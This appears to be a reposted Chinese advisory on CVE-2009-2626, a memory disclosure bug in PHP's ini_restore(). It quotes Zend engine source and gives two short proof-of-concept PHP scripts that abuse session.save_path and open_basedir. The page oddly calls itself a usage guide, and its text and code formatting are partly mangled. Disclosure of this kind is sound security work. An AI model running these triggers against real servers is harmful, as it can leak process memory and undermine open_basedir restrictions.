PHP函數(shù)restore()重置PHP配置環(huán)境
PHP作為一種功能強大的HTML嵌入式語言受到廣泛的運用,尤其適合于WEB開發(fā)中。下面我們將為大家詳細介紹有關(guān)PHP函數(shù)restore()的相關(guān)用法。#t#
影響版本:
PHP PHP 5.3.0
PHP PHP 5.2.10漏洞描述:
BUGTRAQ ID: 36009
CVE ID: CVE-2009-2626
在使用PHP函數(shù)restore()重置PHP配置環(huán)境時PG()類中的變量會顯示任意部分的內(nèi)存。如果要利用這個漏洞,攻擊者必須要通過ini_set()函數(shù)聲明變量。
- ---zend_ini.c---
- static int zend_restore_ini_entry_cb
(zend_ini_entry *ini_entry, int stage- TSRMLS_DC) /* {{{ */
- {
- if (ini_entry->modified) {
- if (ini_entry->on_modify) {
- zend_try {
- /* even if on_modify bails out, we
have to continue on with restoring,- since there can be allocated variables
that would be freed on MM- shutdown
- and would lead to memory corruption
later ini entry is modified again- */
- ini_entry->on_modify(ini_entry,
ini_entry->orig_value,- ini_entry->orig_value_length,
ini_entry->mh_arg1, ini_entry->mh_arg2,- ini_entry->mh_arg3, stage TSRMLS_CC);
- } zend_end_try();
- }
- if (ini_entry->value != ini_entry
->orig_value) {- efree(ini_entry->value);
- }
- ini_entry->value = ini_entry->
orig_value;- ini_entry->value_length =
ini_entry->orig_value_length;- ini_entry->modified = 0;
- ini_entry->orig_value = NULL;
- ini_entry->orig_value_length = 0;
- if (ini_entry->modifiable >= (1 << 3)) {
- ini_entry->modifiable >>= 3;
- }
- }
- return 0;
- }
- ---zend_ini.c---
PHP函數(shù)restore()所修改的標(biāo)記會被重置。由于沒有檢查ini_entry->on_modify()的值,PG()會超出內(nèi)存范圍。
PHP函數(shù)restore()測試方法:
本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險自負!
- < ?php
- ini_set("session.save_path",
"0123456789ABCDEF");- ini_restore("session.save_path");
- session_start();
- ?>
- < ?php
- ini_set("open_basedir", "A");
- ini_restore("open_basedir");
- ini_get("open_basedir");
- include("B");
- ?>
以上就是PHP函數(shù)restore()的相關(guān)使用方法。